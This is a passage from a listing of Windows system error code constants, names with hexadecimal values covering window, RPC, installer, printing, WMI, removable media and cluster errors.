WINDOW_NOT_DIALOG = 0x058C + CONTROL_ID_NOT_FOUND = 0x058D + INVALID_COMBOBOX_MESSAGE = 0x058E + WINDOW_NOT_COMBOBOX = 0x058F + INVALID_EDIT_HEIGHT = 0x0590 + DC_NOT_FOUND = 0x0591 + INVALID_HOOK_FILTER = 0x0592 + INVALID_FILTER_PROC = 0x0593 + HOOK_NEEDS_HMOD = 0x0594 + GLOBAL_ONLY_HOOK = 0x0595 + JOURNAL_HOOK_SET = 0x0596 + HOOK_NOT_INSTALLED = 0x0597 + INVALID_LB_MESSAGE = 0x0598 + SETCOUNT_ON_BAD_LB = 0x0599 + LB_WITHOUT_TABSTOPS = 0x059A + DESTROY_OBJECT_OF_OTHER_THREAD = 0x059B + CHILD_WINDOW_MENU = 0x059C + NO_SYSTEM_MENU = 0x059D + INVALID_MSGBOX_STYLE = 0x059E + INVALID_SPI_VALUE = 0x059F + SCREEN_ALREADY_LOCKED = 0x05A0 + HWNDS_HAVE_DIFF_PARENT = 0x05A1 + NOT_CHILD_WINDOW = 0x05A2 + INVALID_GW_COMMAND = 0x05A3 + INVALID_THREAD_ID = 0x05A4 + NON_MDICHILD_WINDOW = 0x05A5 + POPUP_ALREADY_ACTIVE = 0x05A6 + NO_SCROLLBARS = 0x05A7 + INVALID_SCROLLBAR_RANGE = 0x05A8 + INVALID_SHOWWIN_COMMAND = 0x05A9 + NO_SYSTEM_RESOURCES = 0x05AA + NONPAGED_SYSTEM_RESOURCES = 0x05AB + PAGED_SYSTEM_RESOURCES = 0x05AC + WORKING_SET_QUOTA = 0x05AD + PAGEFILE_QUOTA = 0x05AE + COMMITMENT_LIMIT = 0x05AF + MENU_ITEM_NOT_FOUND = 0x05B0 + INVALID_KEYBOARD_HANDLE = 0x05B1 + HOOK_TYPE_NOT_ALLOWED = 0x05B2 + REQUIRES_INTERACTIVE_WINDOWSTATION = 0x05B3 + TIMEOUT = 0x05B4 + INVALID_MONITOR_HANDLE = 0x05B5 + INCORRECT_SIZE = 0x05B6 + SYMLINK_CLASS_DISABLED = 0x05B7 + SYMLINK_NOT_SUPPORTED = 0x05B8 + XML_PARSE_ERROR = 0x05B9 + XMLDSIG_ERROR = 0x05BA + RESTART_APPLICATION = 0x05BB + WRONG_COMPARTMENT = 0x05BC + AUTHIP_FAILURE = 0x05BD + NO_NVRAM_RESOURCES = 0x05BE + EVENTLOG_FILE_CORRUPT = 0x05DC + EVENTLOG_CANT_START = 0x05DD + LOG_FILE_FULL = 0x05DE + EVENTLOG_FILE_CHANGED = 0x05DF + INVALID_TASK_NAME = 0x060E + INVALID_TASK_INDEX = 0x060F + THREAD_ALREADY_IN_TASK = 0x0610 + INSTALL_SERVICE_FAILURE = 0x0641 + INSTALL_USEREXIT = 0x0642 + INSTALL_FAILURE = 0x0643 + INSTALL_SUSPEND = 0x0644 + UNKNOWN_PRODUCT = 0x0645 + UNKNOWN_FEATURE = 0x0646 + UNKNOWN_COMPONENT = 0x0647 + UNKNOWN_PROPERTY = 0x0648 + INVALID_HANDLE_STATE = 0x0649 + BAD_CONFIGURATION = 0x064A + INDEX_ABSENT = 0x064B + INSTALL_SOURCE_ABSENT = 0x064C + INSTALL_PACKAGE_VERSION = 0x064D + PRODUCT_UNINSTALLED = 0x064E + BAD_QUERY_SYNTAX = 0x064F + INVALID_FIELD = 0x0650 + DEVICE_REMOVED = 0x0651 + INSTALL_ALREADY_RUNNING = 0x0652 + INSTALL_PACKAGE_OPEN_FAILED = 0x0653 + INSTALL_PACKAGE_INVALID = 0x0654 + INSTALL_UI_FAILURE = 0x0655 + INSTALL_LOG_FAILURE = 0x0656 + INSTALL_LANGUAGE_UNSUPPORTED = 0x0657 + INSTALL_TRANSFORM_FAILURE = 0x0658 + INSTALL_PACKAGE_REJECTED = 0x0659 + FUNCTION_NOT_CALLED = 0x065A + FUNCTION_FAILED = 0x065B + INVALID_TABLE = 0x065C + DATATYPE_MISMATCH = 0x065D + UNSUPPORTED_TYPE = 0x065E + CREATE_FAILED = 0x065F + INSTALL_TEMP_UNWRITABLE = 0x0660 + INSTALL_PLATFORM_UNSUPPORTED = 0x0661 + INSTALL_NOTUSED = 0x0662 + PATCH_PACKAGE_OPEN_FAILED = 0x0663 + PATCH_PACKAGE_INVALID = 0x0664 + PATCH_PACKAGE_UNSUPPORTED = 0x0665 + PRODUCT_VERSION = 0x0666 + INVALID_COMMAND_LINE = 0x0667 + INSTALL_REMOTE_DISALLOWED = 0x0668 + SUCCESS_REBOOT_INITIATED = 0x0669 + PATCH_TARGET_NOT_FOUND = 0x066A + PATCH_PACKAGE_REJECTED = 0x066B + INSTALL_TRANSFORM_REJECTED = 0x066C + INSTALL_REMOTE_PROHIBITED = 0x066D + PATCH_REMOVAL_UNSUPPORTED = 0x066E + UNKNOWN_PATCH = 0x066F + PATCH_NO_SEQUENCE = 0x0670 + PATCH_REMOVAL_DISALLOWED = 0x0671 + INVALID_PATCH_XML = 0x0672 + PATCH_MANAGED_ADVERTISED_PRODUCT = 0x0673 + INSTALL_SERVICE_SAFEBOOT = 0x0674 + FAIL_FAST_EXCEPTION = 0x0675 + RPC_S_INVALID_STRING_BINDING = 0x06A4 + RPC_S_WRONG_KIND_OF_BINDING = 0x06A5 + RPC_S_INVALID_BINDING = 0x06A6 + RPC_S_PROTSEQ_NOT_SUPPORTED = 0x06A7 + RPC_S_INVALID_RPC_PROTSEQ = 0x06A8 + RPC_S_INVALID_STRING_UUID = 0x06A9 + RPC_S_INVALID_ENDPOINT_FORMAT = 0x06AA + RPC_S_INVALID_NET_ADDR = 0x06AB + RPC_S_NO_ENDPOINT_FOUND = 0x06AC + RPC_S_INVALID_TIMEOUT = 0x06AD + RPC_S_OBJECT_NOT_FOUND = 0x06AE + RPC_S_ALREADY_REGISTERED = 0x06AF + RPC_S_TYPE_ALREADY_REGISTERED = 0x06B0 + RPC_S_ALREADY_LISTENING = 0x06B1 + RPC_S_NO_PROTSEQS_REGISTERED = 0x06B2 + RPC_S_NOT_LISTENING = 0x06B3 + RPC_S_UNKNOWN_MGR_TYPE = 0x06B4 + RPC_S_UNKNOWN_IF = 0x06B5 + RPC_S_NO_BINDINGS = 0x06B6 + RPC_S_NO_PROTSEQS = 0x06B7 + RPC_S_CANT_CREATE_ENDPOINT = 0x06B8 + RPC_S_OUT_OF_RESOURCES = 0x06B9 + RPC_S_SERVER_UNAVAILABLE = 0x06BA + RPC_S_SERVER_TOO_BUSY = 0x06BB + RPC_S_INVALID_NETWORK_OPTIONS = 0x06BC + RPC_S_NO_CALL_ACTIVE = 0x06BD + RPC_S_CALL_FAILED = 0x06BE + RPC_S_CALL_FAILED_DNE = 0x06BF + RPC_S_PROTOCOL_ERROR = 0x06C0 + RPC_S_PROXY_ACCESS_DENIED = 0x06C1 + RPC_S_UNSUPPORTED_TRANS_SYN = 0x06C2 + RPC_S_UNSUPPORTED_TYPE = 0x06C4 + RPC_S_INVALID_TAG = 0x06C5 + RPC_S_INVALID_BOUND = 0x06C6 + RPC_S_NO_ENTRY_NAME = 0x06C7 + RPC_S_INVALID_NAME_SYNTAX = 0x06C8 + RPC_S_UNSUPPORTED_NAME_SYNTAX = 0x06C9 + RPC_S_UUID_NO_ADDRESS = 0x06CB + RPC_S_DUPLICATE_ENDPOINT = 0x06CC + RPC_S_UNKNOWN_AUTHN_TYPE = 0x06CD + RPC_S_MAX_CALLS_TOO_SMALL = 0x06CE + RPC_S_STRING_TOO_LONG = 0x06CF + RPC_S_PROTSEQ_NOT_FOUND = 0x06D0 + RPC_S_PROCNUM_OUT_OF_RANGE = 0x06D1 + RPC_S_BINDING_HAS_NO_AUTH = 0x06D2 + RPC_S_UNKNOWN_AUTHN_SERVICE = 0x06D3 + RPC_S_UNKNOWN_AUTHN_LEVEL = 0x06D4 + RPC_S_INVALID_AUTH_IDENTITY = 0x06D5 + RPC_S_UNKNOWN_AUTHZ_SERVICE = 0x06D6 + EPT_S_INVALID_ENTRY = 0x06D7 + EPT_S_CANT_PERFORM_OP = 0x06D8 + EPT_S_NOT_REGISTERED = 0x06D9 + RPC_S_NOTHING_TO_EXPORT = 0x06DA + RPC_S_INCOMPLETE_NAME = 0x06DB + RPC_S_INVALID_VERS_OPTION = 0x06DC + RPC_S_NO_MORE_MEMBERS = 0x06DD + RPC_S_NOT_ALL_OBJS_UNEXPORTED = 0x06DE + RPC_S_INTERFACE_NOT_FOUND = 0x06DF + RPC_S_ENTRY_ALREADY_EXISTS = 0x06E0 + RPC_S_ENTRY_NOT_FOUND = 0x06E1 + RPC_S_NAME_SERVICE_UNAVAILABLE = 0x06E2 + RPC_S_INVALID_NAF_ID = 0x06E3 + RPC_S_CANNOT_SUPPORT = 0x06E4 + RPC_S_NO_CONTEXT_AVAILABLE = 0x06E5 + RPC_S_INTERNAL_ERROR = 0x06E6 + RPC_S_ZERO_DIVIDE = 0x06E7 + RPC_S_ADDRESS_ERROR = 0x06E8 + RPC_S_FP_DIV_ZERO = 0x06E9 + RPC_S_FP_UNDERFLOW = 0x06EA + RPC_S_FP_OVERFLOW = 0x06EB + RPC_X_NO_MORE_ENTRIES = 0x06EC + RPC_X_SS_CHAR_TRANS_OPEN_FAIL = 0x06ED + RPC_X_SS_CHAR_TRANS_SHORT_FILE = 0x06EE + RPC_X_SS_IN_NULL_CONTEXT = 0x06EF + RPC_X_SS_CONTEXT_DAMAGED = 0x06F1 + RPC_X_SS_HANDLES_MISMATCH = 0x06F2 + RPC_X_SS_CANNOT_GET_CALL_HANDLE = 0x06F3 + RPC_X_NULL_REF_POINTER = 0x06F4 + RPC_X_ENUM_VALUE_OUT_OF_RANGE = 0x06F5 + RPC_X_BYTE_COUNT_TOO_SMALL = 0x06F6 + RPC_X_BAD_STUB_DATA = 0x06F7 + INVALID_USER_BUFFER = 0x06F8 + UNRECOGNIZED_MEDIA = 0x06F9 + NO_TRUST_LSA_SECRET = 0x06FA + NO_TRUST_SAM_ACCOUNT = 0x06FB + TRUSTED_DOMAIN_FAILURE = 0x06FC + TRUSTED_RELATIONSHIP_FAILURE = 0x06FD + TRUST_FAILURE = 0x06FE + RPC_S_CALL_IN_PROGRESS = 0x06FF + NETLOGON_NOT_STARTED = 0x0700 + ACCOUNT_EXPIRED = 0x0701 + REDIRECTOR_HAS_OPEN_HANDLES = 0x0702 + PRINTER_DRIVER_ALREADY_INSTALLED = 0x0703 + UNKNOWN_PORT = 0x0704 + UNKNOWN_PRINTER_DRIVER = 0x0705 + UNKNOWN_PRINTPROCESSOR = 0x0706 + INVALID_SEPARATOR_FILE = 0x0707 + INVALID_PRIORITY = 0x0708 + INVALID_PRINTER_NAME = 0x0709 + PRINTER_ALREADY_EXISTS = 0x070A + INVALID_PRINTER_COMMAND = 0x070B + INVALID_DATATYPE = 0x070C + INVALID_ENVIRONMENT = 0x070D + RPC_S_NO_MORE_BINDINGS = 0x070E + NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 0x070F + NOLOGON_WORKSTATION_TRUST_ACCOUNT = 0x0710 + NOLOGON_SERVER_TRUST_ACCOUNT = 0x0711 + DOMAIN_TRUST_INCONSISTENT = 0x0712 + SERVER_HAS_OPEN_HANDLES = 0x0713 + RESOURCE_DATA_NOT_FOUND = 0x0714 + RESOURCE_TYPE_NOT_FOUND = 0x0715 + RESOURCE_NAME_NOT_FOUND = 0x0716 + RESOURCE_LANG_NOT_FOUND = 0x0717 + NOT_ENOUGH_QUOTA = 0x0718 + RPC_S_NO_INTERFACES = 0x0719 + RPC_S_CALL_CANCELLED = 0x071A + RPC_S_BINDING_INCOMPLETE = 0x071B + RPC_S_COMM_FAILURE = 0x071C + RPC_S_UNSUPPORTED_AUTHN_LEVEL = 0x071D + RPC_S_NO_PRINC_NAME = 0x071E + RPC_S_NOT_RPC_ERROR = 0x071F + RPC_S_UUID_LOCAL_ONLY = 0x0720 + RPC_S_SEC_PKG_ERROR = 0x0721 + RPC_S_NOT_CANCELLED = 0x0722 + RPC_X_INVALID_ES_ACTION = 0x0723 + RPC_X_WRONG_ES_VERSION = 0x0724 + RPC_X_WRONG_STUB_VERSION = 0x0725 + RPC_X_INVALID_PIPE_OBJECT = 0x0726 + RPC_X_WRONG_PIPE_ORDER = 0x0727 + RPC_X_WRONG_PIPE_VERSION = 0x0728 + RPC_S_COOKIE_AUTH_FAILED = 0x0729 + RPC_S_GROUP_MEMBER_NOT_FOUND = 0x076A + EPT_S_CANT_CREATE = 0x076B + RPC_S_INVALID_OBJECT = 0x076C + INVALID_TIME = 0x076D + INVALID_FORM_NAME = 0x076E + INVALID_FORM_SIZE = 0x076F + ALREADY_WAITING = 0x0770 + PRINTER_DELETED = 0x0771 + INVALID_PRINTER_STATE = 0x0772 + PASSWORD_MUST_CHANGE = 0x0773 + DOMAIN_CONTROLLER_NOT_FOUND = 0x0774 + ACCOUNT_LOCKED_OUT = 0x0775 + OR_INVALID_OXID = 0x0776 + OR_INVALID_OID = 0x0777 + OR_INVALID_SET = 0x0778 + RPC_S_SEND_INCOMPLETE = 0x0779 + RPC_S_INVALID_ASYNC_HANDLE = 0x077A + RPC_S_INVALID_ASYNC_CALL = 0x077B + RPC_X_PIPE_CLOSED = 0x077C + RPC_X_PIPE_DISCIPLINE_ERROR = 0x077D + RPC_X_PIPE_EMPTY = 0x077E + NO_SITENAME = 0x077F + CANT_ACCESS_FILE = 0x0780 + CANT_RESOLVE_FILENAME = 0x0781 + RPC_S_ENTRY_TYPE_MISMATCH = 0x0782 + RPC_S_NOT_ALL_OBJS_EXPORTED = 0x0783 + RPC_S_INTERFACE_NOT_EXPORTED = 0x0784 + RPC_S_PROFILE_NOT_ADDED = 0x0785 + RPC_S_PRF_ELT_NOT_ADDED = 0x0786 + RPC_S_PRF_ELT_NOT_REMOVED = 0x0787 + RPC_S_GRP_ELT_NOT_ADDED = 0x0788 + RPC_S_GRP_ELT_NOT_REMOVED = 0x0789 + KM_DRIVER_BLOCKED = 0x078A + CONTEXT_EXPIRED = 0x078B + PER_USER_TRUST_QUOTA_EXCEEDED = 0x078C + ALL_USER_TRUST_QUOTA_EXCEEDED = 0x078D + USER_DELETE_TRUST_QUOTA_EXCEEDED = 0x078E + AUTHENTICATION_FIREWALL_FAILED = 0x078F + REMOTE_PRINT_CONNECTIONS_BLOCKED = 0x0790 + NTLM_BLOCKED = 0x0791 + INVALID_PIXEL_FORMAT = 0x07D0 + BAD_DRIVER = 0x07D1 + INVALID_WINDOW_STYLE = 0x07D2 + METAFILE_NOT_SUPPORTED = 0x07D3 + TRANSFORM_NOT_SUPPORTED = 0x07D4 + CLIPPING_NOT_SUPPORTED = 0x07D5 + INVALID_CMM = 0x07DA + INVALID_PROFILE = 0x07DB + TAG_NOT_FOUND = 0x07DC + TAG_NOT_PRESENT = 0x07DD + DUPLICATE_TAG = 0x07DE + PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 0x07DF + PROFILE_NOT_FOUND = 0x07E0 + INVALID_COLORSPACE = 0x07E1 + ICM_NOT_ENABLED = 0x07E2 + DELETING_ICM_XFORM = 0x07E3 + INVALID_TRANSFORM = 0x07E4 + COLORSPACE_MISMATCH = 0x07E5 + INVALID_COLORINDEX = 0x07E6 + PROFILE_DOES_NOT_MATCH_DEVICE = 0x07E7 + CONNECTED_OTHER_PASSWORD = 0x083C + CONNECTED_OTHER_PASSWORD_DEFAULT = 0x083D + BAD_USERNAME = 0x089A + NOT_CONNECTED = 0x08CA + OPEN_FILES = 0x0961 + ACTIVE_CONNECTIONS = 0x0962 + DEVICE_IN_USE = 0x0964 + UNKNOWN_PRINT_MONITOR = 0x0BB8 + PRINTER_DRIVER_IN_USE = 0x0BB9 + SPOOL_FILE_NOT_FOUND = 0x0BBA + SPL_NO_STARTDOC = 0x0BBB + SPL_NO_ADDJOB = 0x0BBC + PRINT_PROCESSOR_ALREADY_INSTALLED = 0x0BBD + PRINT_MONITOR_ALREADY_INSTALLED = 0x0BBE + INVALID_PRINT_MONITOR = 0x0BBF + PRINT_MONITOR_IN_USE = 0x0BC0 + PRINTER_HAS_JOBS_QUEUED = 0x0BC1 + SUCCESS_REBOOT_REQUIRED = 0x0BC2 + SUCCESS_RESTART_REQUIRED = 0x0BC3 + PRINTER_NOT_FOUND = 0x0BC4 + PRINTER_DRIVER_WARNED = 0x0BC5 + PRINTER_DRIVER_BLOCKED = 0x0BC6 + PRINTER_DRIVER_PACKAGE_IN_USE = 0x0BC7 + CORE_DRIVER_PACKAGE_NOT_FOUND = 0x0BC8 + FAIL_REBOOT_REQUIRED = 0x0BC9 + FAIL_REBOOT_INITIATED = 0x0BCA + PRINTER_DRIVER_DOWNLOAD_NEEDED = 0x0BCB + PRINT_JOB_RESTART_REQUIRED = 0x0BCC + IO_REISSUE_AS_CACHED = 0x0F6E + WINS_INTERNAL = 0x0FA0 + CAN_NOT_DEL_LOCAL_WINS = 0x0FA1 + STATIC_INIT = 0x0FA2 + INC_BACKUP = 0x0FA3 + FULL_BACKUP = 0x0FA4 + REC_NON_EXISTENT = 0x0FA5 + RPL_NOT_ALLOWED = 0x0FA6 + PEERDIST_CONTENTINFO_VERSION_UNSUPPORTED = 0x0FD2 + PEERDIST_CANNOT_PARSE_CONTENTINFO = 0x0FD3 + PEERDIST_MISSING_DATA = 0x0FD4 + PEERDIST_NO_MORE = 0x0FD5 + PEERDIST_NOT_INITIALIZED = 0x0FD6 + PEERDIST_ALREADY_INITIALIZED = 0x0FD7 + PEERDIST_SHUTDOWN_IN_PROGRESS = 0x0FD8 + PEERDIST_INVALIDATED = 0x0FD9 + PEERDIST_ALREADY_EXISTS = 0x0FDA + PEERDIST_OPERATION_NOTFOUND = 0x0FDB + PEERDIST_ALREADY_COMPLETED = 0x0FDC + PEERDIST_OUT_OF_BOUNDS = 0x0FDD + PEERDIST_VERSION_UNSUPPORTED = 0x0FDE + PEERDIST_INVALID_CONFIGURATION = 0x0FDF + PEERDIST_NOT_LICENSED = 0x0FE0 + PEERDIST_SERVICE_UNAVAILABLE = 0x0FE1 + DHCP_ADDRESS_CONFLICT = 0x1004 + WMI_GUID_NOT_FOUND = 0x1068 + WMI_INSTANCE_NOT_FOUND = 0x1069 + WMI_ITEMID_NOT_FOUND = 0x106A + WMI_TRY_AGAIN = 0x106B + WMI_DP_NOT_FOUND = 0x106C + WMI_UNRESOLVED_INSTANCE_REF = 0x106D + WMI_ALREADY_ENABLED = 0x106E + WMI_GUID_DISCONNECTED = 0x106F + WMI_SERVER_UNAVAILABLE = 0x1070 + WMI_DP_FAILED = 0x1071 + WMI_INVALID_MOF = 0x1072 + WMI_INVALID_REGINFO = 0x1073 + WMI_ALREADY_DISABLED = 0x1074 + WMI_READ_ONLY = 0x1075 + WMI_SET_FAILURE = 0x1076 + INVALID_MEDIA = 0x10CC + INVALID_LIBRARY = 0x10CD + INVALID_MEDIA_POOL = 0x10CE + DRIVE_MEDIA_MISMATCH = 0x10CF + MEDIA_OFFLINE = 0x10D0 + LIBRARY_OFFLINE = 0x10D1 + EMPTY = 0x10D2 + NOT_EMPTY = 0x10D3 + MEDIA_UNAVAILABLE = 0x10D4 + RESOURCE_DISABLED = 0x10D5 + INVALID_CLEANER = 0x10D6 + UNABLE_TO_CLEAN = 0x10D7 + OBJECT_NOT_FOUND = 0x10D8 + DATABASE_FAILURE = 0x10D9 + DATABASE_FULL = 0x10DA + MEDIA_INCOMPATIBLE = 0x10DB + RESOURCE_NOT_PRESENT = 0x10DC + INVALID_OPERATION = 0x10DD + MEDIA_NOT_AVAILABLE = 0x10DE + DEVICE_NOT_AVAILABLE = 0x10DF + REQUEST_REFUSED = 0x10E0 + INVALID_DRIVE_OBJECT = 0x10E1 + LIBRARY_FULL = 0x10E2 + MEDIUM_NOT_ACCESSIBLE = 0x10E3 + UNABLE_TO_LOAD_MEDIUM = 0x10E4 + UNABLE_TO_INVENTORY_DRIVE = 0x10E5 + UNABLE_TO_INVENTORY_SLOT = 0x10E6 + UNABLE_TO_INVENTORY_TRANSPORT = 0x10E7 + TRANSPORT_FULL = 0x10E8 + CONTROLLING_IEPORT = 0x10E9 + UNABLE_TO_EJECT_MOUNTED_MEDIA = 0x10EA + CLEANER_SLOT_SET = 0x10EB + CLEANER_SLOT_NOT_SET = 0x10EC + CLEANER_CARTRIDGE_SPENT = 0x10ED + UNEXPECTED_OMID = 0x10EE + CANT_DELETE_LAST_ITEM = 0x10EF + MESSAGE_EXCEEDS_MAX_SIZE = 0x10F0 + VOLUME_CONTAINS_SYS_FILES = 0x10F1 + INDIGENOUS_TYPE = 0x10F2 + NO_SUPPORTING_DRIVES = 0x10F3 + CLEANER_CARTRIDGE_INSTALLED = 0x10F4 + IEPORT_FULL = 0x10F5 + FILE_OFFLINE = 0x10FE + REMOTE_STORAGE_NOT_ACTIVE = 0x10FF + REMOTE_STORAGE_MEDIA_ERROR = 0x1100 + NOT_A_REPARSE_POINT = 0x1126 + REPARSE_ATTRIBUTE_CONFLICT = 0x1127 + INVALID_REPARSE_DATA = 0x1128 + REPARSE_TAG_INVALID = 0x1129 + REPARSE_TAG_MISMATCH = 0x112A + VOLUME_NOT_SIS_ENABLED = 0x1194 + DEPENDENT_RESOURCE_EXISTS = 0x1389 + DEPENDENCY_NOT_FOUND = 0x138A + DEPENDENCY_ALREADY_EXISTS = 0x138B + RESOURCE_NOT_ONLINE = 0x138C + HOST_NODE_NOT_AVAILABLE = 0x138D + RESOURCE_NOT_AVAILABLE = 0x138E + RESOURCE_NOT_FOUND = 0x138F + SHUTDOWN_CLUSTER = 0x1390 + CANT_EVICT_ACTIVE_NODE = 0x1391 + OBJECT_ALREADY_EXISTS = 0x1392 + OBJECT_IN_LIST = 0x1393 + GROUP_NOT_AVAILABLE = 0x1394 + GROUP_NOT_FOUND = 0x1395 + GROUP_NOT_ONLINE = 0x1396 + HOST_NODE_NOT_RESOURCE_OWNER = 0x1397 + HOST_NODE_NOT_GROUP_OWNER = 0x1398 + RESMON_CREATE_FAILED = 0x1399 + RESMON_ONLINE_FAILED = 0x139A + RESOURCE_ONLINE = 0x139B + QUORUM_RESOURCE = 0x139C + NOT_QUORUM_CAPABLE = 0x139D + CLUSTER_SHUTTING_DOWN = 0x139E + INVALID_STATE = 0x139F + RESOURCE_PROPERTIES_STORED = 0x13A0 + NOT_QUORUM_CLASS = 0x13A1 + CORE_RESOURCE = 0x13A2 + QUORUM_RESOURCE_ONLINE_FAILED = 0x13A3 + QUORUMLOG_OPEN_FAILED = 0x13A4 + CLUSTERLOG_CORRUPT = 0x13A5 + CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 0x13A6 + CLUSTERLOG_EXCEEDS_MAXSIZE = 0x13A7 + CLUSTERLOG_CHKPOINT_NOT_FOUND = 0x13A8 + CLUSTERLOG_NOT_ENOUGH_SPACE = 0x13A9 + QUORUM_OWNER_ALIVE = 0x13AA + NETWORK_NOT_AVAILABLE = 0x13AB + NODE_NOT_AVAILABLE = 0x13AC + ALL_NODES_NOT_AVAILABLE = 0x13AD + RESOURCE_FAILED = 0x13AE + CLUSTER_INVALID_NODE = 0x13AF + CLUSTER_NODE_EXISTS = 0x13B0 + CLUSTER_JOIN_IN_PROGRESS = 0x13B1 + CLUSTER_NODE_NOT_FOUND = 0x13B2 + CLUSTER_LOCAL_NODE_NOT_FOUND = 0x13B3 + CLUSTER_NETWORK_EXISTS = 0x13B4 + CLUSTER_NETWORK_NOT_FOUND = 0x13B5 + CLUSTER_NETINTERFACE_EXISTS = 0x13B6 + CLUSTER_NETINTERFACE_NOT_FOUND = 0x13B7 + CLUSTER_INVALID_REQUEST = 0x13B8 + CLUSTER_INVALID_NETWORK_PROVIDER = 0x13B9 + CLUSTER_NODE_DOWN = 0x13BA + CLUSTER_NODE_UNREACHABLE = 0x13BB + CLUSTER_NODE_NOT_MEMBER = 0x13BC + CLUSTER_JOIN_NOT_IN_PROGRESS = 0x13BD + CLUSTER_INVALID_NETWORK = 0x13BE + CLUSTER_NODE_UP = 0x13C0 + CLUSTER_IPADDR_IN_USE = 0x13C1 + CLUSTER_NODE_NOT_PAUSED = 0x13C2 + CLUSTER_NO_SECURITY_CONTEXT = 0x13C3 + CLUSTER_NETWORK_NOT_INTERNAL = 0x13C4 + CLUSTER_NODE_ALREADY_UP = 0x13C5 + CLUSTER_NODE_ALREADY_DOWN = 0x13C6 + CLUSTER_NETWORK_ALREADY_ONLINE = 0x13C7 + CLUSTER_NETWORK_ALREADY_OFFLINE = 0x13C8 + CLUSTER_NODE_ALREADY_MEMBER = 0x13C9 + CLUSTER_LAST_INTERNAL_NETWORK = 0x13CA + CLUSTER_NETWORK_HAS_DEPENDENTS = 0x13CB + INVALID_OPERATION_ON_QUORUM = 0x13CC + DEPENDENCY_NOT_ALLOWED = 0x13CD + CLUSTER_NODE_PAUSED = 0x13CE + NODE_CANT_HOST_RESOURCE = 0x13CF + CLUSTER_NODE_NOT_READY = 0x13D0 + CLUSTER_NODE_SHUTTING_DOWN = 0x13D1 + CLUSTER_JOIN_ABORTED = 0x13D2 + CLUSTER_INCOMPATIBLE_VERSIONS = 0x13D3 + CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 0x13D4 + CLUSTER_SYSTEM_CONFIG_CHANGED = 0x13D5 + CLUSTER_RESOURCE_TYPE_NOT_FOUND = 0x13D6 + CLUSTER_RESTYPE_NOT_SUPPORTED = 0x13D7 + CLUSTER_RESNAME_NOT_FOUND = 0x13D8 + CLUSTER_NO_RPC_PACKAGES_REGISTERED = 0x13D9 + CLUSTER_OWNER_NOT_IN_PREFLIST = 0x13DA + CLUSTER_DATABASE_SEQMISMATCH = 0x13DB + RESMON_INVALID_STATE = 0x13DC + CLUSTER_GUM_NOT_LOCKER = 0x13DD + QUORUM_DISK_NOT_FOUND = 0x13DE + DATABASE_BACKUP_CORRUPT = 0x13DF + CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 0x13E0 + RESOURCE_PROPERTY_UNCHANGEABLE = 0x13E1 + CLUSTER_MEMBERSHIP_INVALID_STATE = 0x1702 + CLUSTER_QUORUMLOG_NOT_FOUND = 0x1703 + CLUSTER_MEMBERSHIP_HALT = 0x1704 + CLUSTER_INSTANCE_ID_MISMATCH = 0x1705 + CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 0x1706 + CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 0x1707 + CLUSTER_EVICT_WITHOUT_CLEANUP = 0x1708 + CLUSTER_PARAMETER_MISMATCH = 0x1709 + NODE_CANNOT_BE_CLUSTERED = 0x170A + CLUSTER_WRONG_OS_VERSION = 0x170B + CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 0x170C + CLUSCFG_ALREADY_COMMITTED = 0x170D + CLUSCFG_ROLLBACK_FAILED = 0x170E + CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 0x170F + CLUSTER_OLD_VERSION = 0x1710 + CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 0x1711 + CLUSTER_NO_NET_ADAPTERS = 0x1712 + CLUSTER_POISONED = 0x1713 + CLUSTER_GROUP_MOVING = 0x1714 + CLUSTER_RESOURCE_TYPE_BUSY = 0x1715 + RESOURCE_CALL_TIMED_OUT = 0x1716 + INVALID_CLUSTER_IPV6_ADDRESS = 0x1717 + CLUSTER_INTERNAL_INVALID_FUNCTION = 0x1718 + CLUSTER_PARAMETER_OUT_OF_BOUNDS = 0x1719 + CLUSTER_PARTIAL_SEND = 0x171A + CLUSTER_REGISTRY_INVALID_FUNCTION = 0x171B + CLUSTER_INVALID_STRING_TERMINATION = 0x171C + CLUSTER_INVALID_STRING_FORMAT = 0x171D + CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 0x171E + CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 0x171F + CLUSTER_NULL_DATA = 0x1720 + CLUSTER_PARTIAL_READ = 0x1721 + CLUSTER_PARTIAL_WRITE = 0x1722 + CLUSTER_CANT_DESERIALIZE_DATA = 0x1723 + DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 0x1724 + CLUSTER_NO_QUORUM = 0x1725 + CLUSTER_INVALID_IPV6_NETWORK = 0x1726 + CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 0x1727 + QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 0x1728 + DEPENDENCY_TREE_TOO_COMPLEX = 0x1729 + EXCEPTION_IN_RESOURCE_CALL = 0x172A + CLUSTER_RHS_FAILED_INITIALIZATION = 0x172B + CLUSTER_NOT_INSTALLED = 0x172C + CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 0x172D + CLUSTER_MAX_NODES_IN_CLUSTER = 0x172E + CLUSTER_TOO_MANY_NODES = 0x172F + CLUSTER_OBJECT_ALREADY_USED = 0x1730 + NONCORE_GROUPS_FOUND = 0x1731 + FILE_SHARE_RESOURCE_CONFLICT = 0x1732 + CLUSTER_EVICT_INVALID_REQUEST = 0x1733 + CLUSTER_SINGLETON_RESOURCE = 0x1734 + CLUSTER_GROUP_SINGLETON_RESOURCE = 0x1735 + CLUSTER_RESOURCE_PROVIDER_FAILED = 0x1736 + CLUSTER_RESOURCE_CONFIGURATION_ERROR = 0x1737 + CLUSTER_GROUP_BUSY = 0x1738 + CLUSTER_NOT_SHARED_VOLUME = 0x1739 + CLUSTER_INVALID_SECURITY_DESCRIPTOR = 0x173A + CLUSTER_SHARED_VOLUMES_IN_USE = 0x173B + CLUSTER_USE_SHARED_VOLUMES_API = 0x173C + CLUSTER_BACKUP_IN_PROGRESS = 0x173D + NON_CSV_PATH = 0x173E + CSV_VOLUME_NOT_LOCAL = 0x173F + CLUSTER_WATCHDOG_TERMINATING = 0x1740 + 